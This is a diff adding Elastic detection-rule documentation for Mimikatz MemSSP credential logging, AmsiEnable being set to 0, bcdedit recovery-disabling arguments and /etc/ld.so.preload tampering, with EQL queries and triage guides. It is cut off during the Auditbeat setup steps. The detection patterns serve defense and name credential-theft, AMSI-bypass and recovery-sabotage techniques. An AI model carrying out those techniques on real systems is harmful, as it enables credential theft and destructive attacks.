b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mimikatz-memssp-log-file-detected.asciidoc new file mode 100644 index 0000000000..39fe459dbe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mimikatz-memssp-log-file-detected.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-mimikatz-memssp-log-file-detected]] +=== Mimikatz Memssp Log File Detected + +Identifies the default Mimikatz MemSSP credential log file, mimilsa.log. This file is created after the misc::memssp module injects a malicious Security Support Provider into LSASS and can contain credentials from subsequent logons to the host. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Mimikatz Memssp Log File Detected* + + + +*Possible investigation steps* + + +- Is the alert-local event the default MemSSP credential log? + - Focus: `file.name`, `file.path`, `file.size`, `process.name`, and `process.executable`. + - Implication: escalate when "lsass.exe" creates "mimilsa.log", especially at "C:\Windows\System32\mimilsa.log" or a staging path; lower suspicion only when the same host, path, and process evidence align with an authorized red-team, responder, malware-analysis, or isolated lab run. + +- Was the log handled like credential material after creation? + - Focus: file events on the same `host.id` around `file.path`, including `file.Ext.original.path`, `file.extension`, and the acting `process.executable`. + - Implication: escalate when "mimilsa.log" is copied, renamed, archived, deleted, or paired with DLL/archive artifacts such as "mimilib.dll"; absence of follow-on file handling does not clear the alert because the log creation itself can mean credential capture. + - Hint: pivot first on the exact `file.path` and rename source path, then on companion "mimilib.dll" file events on the same host. !{investigate{"description":"","label":"MemSSP log and companion file events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.Ext.original.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.name","queryType":"phrase","value":"mimilib.dll","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + +- Which process activity likely enabled MemSSP before LSASS wrote the log? + - Focus: process starts on the same `host.id`: `process.command_line`, `process.executable`, `process.parent.executable`, `process.code_signature.trusted`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when "misc::memssp", Mimikatz/Invoke-Mimikatz, "mimilib.dll", PowerShell, rundll32, regsvr32, unsigned helpers, or high-integrity/system tooling appear before the write; a clean process search narrows the launcher only if collection covers that window. + - Hint: search backward from alert `@timestamp` for process starts containing "memssp", "mimikatz", "mimilib", or script/LOLBIN launchers on the same `host.id`. + +- Which accounts may have been exposed after the log appeared? + - Why: MemSSP records credentials from successful authentications after injection, so exposure depends on who logged on or unlocked the host after the write. + - Focus: if Windows Security authentication logs are available, correlate same-`host.id` events after `@timestamp` with `winlog.event_id`, `winlog.event_data.TargetUserName`, `winlog.logon.type`, `source.ip`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events after MemSSP log creation","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4776","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: escalate when privileged, service, machine, remote, or unexpected NTLM logons appear after creation; if policy permits secure collection, accounts visible in "mimilsa.log" are direct exposure evidence. Missing Windows Security telemetry or uncollected log content is unresolved, not benign. + +- Does the host show default in-memory MemSSP only, or a persistent SSP setup? + - Why: persistent SSP changes survive a single process-memory event and widen eradication scope beyond the observed log file. + - Focus: companion DLL file events (`file.path`, `file.extension`) and, when registry telemetry is available, LSA Security Packages changes in `registry.path` and `registry.data.strings`. + - Implication: escalate persistence scope when "mimilib.dll" or an unfamiliar SSP DLL is placed for loading, or when LSA Security Packages registry data names it; if registry telemetry is unavailable, persistence is unresolved and must not be used to close. + +- If local evidence is suspicious or unresolved, what related alert activity changes scope? + - Focus: related alerts for the same `host.id` in the last 48 hours covering delivery, privilege escalation, LSASS access, persistence, lateral movement, or additional credential access. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the `user.id` alert pivot only when a non-SYSTEM account from process or authentication evidence becomes part of scope. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when related alerts explain precursor access or follow-on use of captured credentials; keep scope local only when artifact, lineage, exposure, and persistence evidence remain bounded and no contradictory alerts appear. + +- Escalate when alert-local artifact, file handling, enabling process, credential exposure, persistence, or related alerts point to hostile MemSSP use; close only when telemetry and outside confirmation align with one authorized lab, red-team, or responder workflow; preserve and escalate when evidence is mixed, missing, or credential exposure cannot be scoped. + + +*False positive analysis* + + +- Normal Windows operation should not create "mimilsa.log". Authorized red-team, responder, malware-analysis, or isolated lab validation is the narrow benign path. Confirm by verifying alert-local `file.path`/`process.executable`, enabling `process.command_line`/`process.parent.executable`, file handling, asset identity, and any credential-exposure evidence all align with the same case; if any dimension contradicts it, do not close as benign. +- If exercise or case records are unavailable, do not exception a first occurrence; require a previously confirmed exercise or responder case plus the same stable pattern (`host.id`, `file.path`, `process.executable`, enabling `process.command_line`, and file-handling behavior) across prior alerts. Avoid exceptions on `file.name`, `process.name`, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse containment and document the exact exercise or responder case with `host.id`, `file.path`, `process.executable`, enabling command/parent, and file-handling evidence. Create an exception only for the recurring same pattern. +- If suspicious but unconfirmed, preserve evidence before containment: export the alert, surrounding process/file events, related alerts, any available authentication events, and securely collect "mimilsa.log" as credential material if policy permits. Capture volatile LSASS state or memory through approved IR tooling before rebooting because restart can remove in-memory evidence. +- Then apply reversible containment based on scope: restrict network access for the affected `host.id`, heighten monitoring, and scrutinize accounts identified in "mimilsa.log" or post-write logons. Avoid deleting the log, terminating suspected tooling, or rebooting until preservation is complete. +- If confirmed malicious, isolate or rebuild the host as host criticality allows; remove "mimilsa.log", companion DLLs, archives, and any persistent SSP configuration discovered; terminate tooling only after evidence capture; then reboot or rebuild to clear injected SSP state. +- Reset or rotate credentials for privileged, service, machine, and lateral-movement-relevant accounts shown in the log content or post-write authentication evidence; review related hosts/accounts before broad resets when exposure is uncertain. +- Post-incident hardening: reduce interactive logons to high-value hosts, restrict debug and LSASS access, review LSA protection and allowed SSP configuration where compatible, monitor for "mimilsa.log" and "mimilib.dll", and document telemetry gaps that limited credential-exposure or persistence scoping. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.name : "mimilsa.log" and process.name : "lsass.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-amsienable-registry-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-amsienable-registry-key.asciidoc new file mode 100644 index 0000000000..7a357430c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-amsienable-registry-key.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-modification-of-amsienable-registry-key]] +=== Modification of AmsiEnable Registry Key + +Identifies modifications of the AmsiEnable registry key to 0, which disables Windows Script AMSI scanning for the affected user. Adversaries can modify this key to bypass AMSI protections for Windows Script Host or JScript execution. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackinparis.com/data/slides/2019/talks/HIP2019-Dominic_Chell-Cracking_The_Perimeter_With_Sharpshooter.pdf +* https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of AmsiEnable Registry Key* + + + +*Possible investigation steps* + + +- Does the registry event prove Windows Script AMSI was disabled for a user hive? + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings` for "Software\Microsoft\Windows Script\Settings\AmsiEnable" under "HKEY_USERS\". + - Implication: escalate true disablement when `registry.path` resolves to that user-hive value and `registry.data.strings` is "0" or "0x00000000"; lower suspicion only when the path or data does not disable AMSI, or same-host evidence proves controlled validation or image-build deliberately toggled Windows Script AMSI. + +- Is the writing process a recognized validation tool or an abuse launcher? + - Focus: writer identity: `process.entity_id`, `process.executable`, `process.command_line`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Process events for the writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: reconstruct activity with `host.id` plus `process.entity_id`; if missing, use `host.id`, `process.pid`, and a tight time window. + - Implication: escalate when the writer is unsigned, untrusted, user-writable, renamed, script-launched, or writes "AmsiEnable" outside a recognized validation or image-build command line. Identity alone never clears the registry change. + +- Does lineage and session explain the AMSI disablement? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, and `user.id`. + - Implication: escalate when lineage involves Office, a browser, script host, remote shell, scheduled task, unexpected service account, or a standard user context that does not fit script-control testing; lower suspicion only when parent, session, and `user.id` match controlled validation or image-build launch context. + +- Did follow-on process activity use the disablement path? + - Focus: post-write process activity in the recovered process scope, especially `process.executable`, `process.command_line`, and `process.parent.command_line`. !{investigate{"description":"","label":"Child process events for the writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same lineage later launches or reopens "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe", "mshta.exe", "wmic.exe", "regsvr32.exe", or Office-child script execution. A write followed by a second script open matches SharpShooter-style AMSI-stub behavior; activity confined to recognized validation is lower risk. + +- Did the same process change related registry state for evasion, persistence, or cleanup? + - Focus: same-process registry activity in the recovered process scope, with `registry.path`, `registry.value`, and `registry.data.strings`. !{investigate{"description":"","label":"Registry events for the writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process also weakens script policy, security-control, Run, Startup, COM, or other persistence-relevant keys, or quickly restores `registry.path` after script execution. Risk is narrower when surrounding registry writes stay limited to the Windows Script validation task and return to baseline. + +- If local evidence stays suspicious or unresolved, do related alerts broaden scope? + - Focus: related alerts for the same `user.id` that show execution, persistence, delivery, or defense evasion. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: query related alerts for the same `host.id` to find adjacent script execution, persistence, related registry tampering, or other AMSI-bypass alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope and urgency when either pivot shows related execution, persistence, or defense evasion; quiet related-alert pivots only lower urgency when local registry, process, and user evidence already supports one exact benign workflow. + +- Escalate when true AMSI disablement combines with suspicious writer, lineage, script follow-on, related registry weakening, or related alerts; close only when same-host registry and process evidence proves one controlled workflow, with outside confirmation when telemetry cannot prove legitimacy; preserve and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- Controlled security validation or golden-image build validation can legitimately toggle AMSI on lab, build, or pre-production assets. Confirm `registry.path`, `registry.value`, and `registry.data.strings` match the intended user hive; `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.command_line`, `process.parent.command_line`, `user.id`, and `host.id` align with that workflow; and surrounding process plus registry activity stays inside the task. Use change records, testing plans, owner confirmation, or toolchain confirmation only to verify telemetry-proven workflow, not override unresolved telemetry. +- Base exceptions on the minimum confirmed workflow pattern: `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `process.parent.executable`, `registry.path`, `user.id`, and `host.id`. Use prior alerts, when available, to validate stability. Avoid exceptions on the AmsiEnable value alone, on `user.name` alone, or on a host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the exact registry, process, parent, user, and host evidence that justified closure. Create an exception only when that confirmed pattern is specific enough to avoid suppressing lookalike AMSI tampering; use recurrence as supporting evidence when it exists. +- If suspicious but unconfirmed, preserve the registry event, same-host process timeline, parent command line, related registry changes, and affected user and host before containment. Apply reversible containment first, such as heightened monitoring, temporary network restriction, or carefully scoped endpoint isolation based on host role; escalate to account action or stronger host isolation only if follow-on execution, related registry tampering, or broader alert scope is confirmed. +- If confirmed malicious, preserve the registry, process, user, host, and related-alert evidence plus any recovered script or payload identifiers before destructive action. Use endpoint isolation to stop follow-on execution while retaining telemetry, then terminate malicious processes or suspend accounts only after recording the process and user evidence needed for follow-up. +- After scoping related `host.id`, `user.id`, `process.executable`, and `registry.path` evidence across affected assets, restore `registry.value` to the expected baseline and remove only the scripts, binaries, Run keys, COM changes, scheduled tasks, or other persistence artifacts identified during the investigation. +- Post-incident hardening: restrict who can modify the Windows Script settings path, review controls around script hosts and Office macro execution, and retain the registry and process telemetry that proved the case. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type in ("creation", "change") and + registry.value : "AmsiEnable" and registry.data.strings: ("0", "0x00000000") + + /* + Full registry key path omitted due to data source variations: + HKEY_USERS\\*\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-boot-configuration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-boot-configuration.asciidoc new file mode 100644 index 0000000000..fbf7303894 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-boot-configuration.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-modification-of-boot-configuration]] +=== Modification of Boot Configuration + +Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of Boot Configuration* + + +Boot entry parameters, or boot parameters, are optional, system-specific settings that represent configuration options. These are stored in a boot configuration data (BCD) store, and administrators can use utilities like `bcdedit.exe` to configure these. + +This rule identifies the usage of `bcdedit.exe` to: + +- Disable Windows Error Recovery (recoveryenabled). +- Ignore errors if there is a failed boot, failed shutdown, or failed checkpoint (bootstatuspolicy ignoreallfailures). + +These are common steps in destructive attacks by adversaries leveraging ransomware. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- The usage of these options is not inherently malicious. Administrators can modify these configurations to force a machine to boot for troubleshooting or data recovery purposes. + + +*Related rules* + + +- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and + ( + (process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or + (process.args : "no" and process.args : "recoveryenabled") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-dynamic-linker-preload-shared-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-dynamic-linker-preload-shared-object.asciidoc new file mode 100644 index 0000000000..260e465ba6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-dynamic-linker-preload-shared-object.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-34-modification-of-dynamic-linker-preload-shared-object]] +=== Modification of Dynamic Linker Preload Shared Object + +Identifies modification of the dynamic linker preload shared object (ld.so.preload). Adversaries may execute malicious payloads by hijacking the dynamic linker used to load libraries. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Dynamic Linker Preload Shared Object* + + +The dynamic linker preload mechanism in Linux, via `/etc/ld.so.preload`, allows preloading of shared libraries, influencing how executables load dependencies. Adversaries exploit this by inserting malicious libraries, hijacking execution flow for privilege escalation. The detection rule monitors changes to this file, excluding benign processes, to identify unauthorized modifications indicative of such abuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path involved is /etc/ld.so.preload and verify the event action is one of the specified actions: updated, renamed, or file_rename_event. +- Identify the process responsible for the modification by examining the process.name field, ensuring it is not one of the excluded processes (wine or oneagentinstallaction). +- Investigate the process that triggered the alert by gathering additional context such as process ID, command line arguments, and parent process to understand its origin and purpose. +- Check the modification timestamp and correlate it with other system events or logs to identify any suspicious activity or patterns around the time of the modification. +- Analyze the contents of /etc/ld.so.preload to determine if any unauthorized or suspicious libraries have been added, and assess their potential impact on the system. +- Review user accounts and permissions associated with the process to determine if there has been any unauthorized access or privilege escalation attempt. +- If malicious activity is confirmed, isolate the affected system and follow incident response procedures to mitigate the threat and prevent further exploitation. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify /etc/ld.so.preload. To handle this, monitor the process names associated with these activities and consider adding them to the exclusion list if they are verified as benign. +- System management tools like configuration management software might update /etc/ld.so.preload as part of routine operations. Identify these tools and exclude their process names from the detection rule to prevent false alerts. +- Custom scripts or administrative tasks executed by trusted users could inadvertently trigger the rule. Review these scripts and, if necessary, exclude their process names or user accounts from the detection criteria. +- Security agents or monitoring tools that interact with system files might cause false positives. Verify these tools' activities and exclude their process names if they are known to be safe and necessary for system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes that are not part of the baseline or known benign applications, especially those related to the modification of `/etc/ld.so.preload`. +- Restore the `/etc/ld.so.preload` file from a known good backup to ensure no malicious libraries are preloaded. +- Conduct a thorough review of recent system changes and installed packages to identify any unauthorized software or modifications that may have facilitated the attack. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the scope of the compromise and identify any additional affected systems. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to modify the dynamic linker preload file. +- Review and enhance access controls and permissions on critical system files like `/etc/ld.so.preload` to prevent unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + 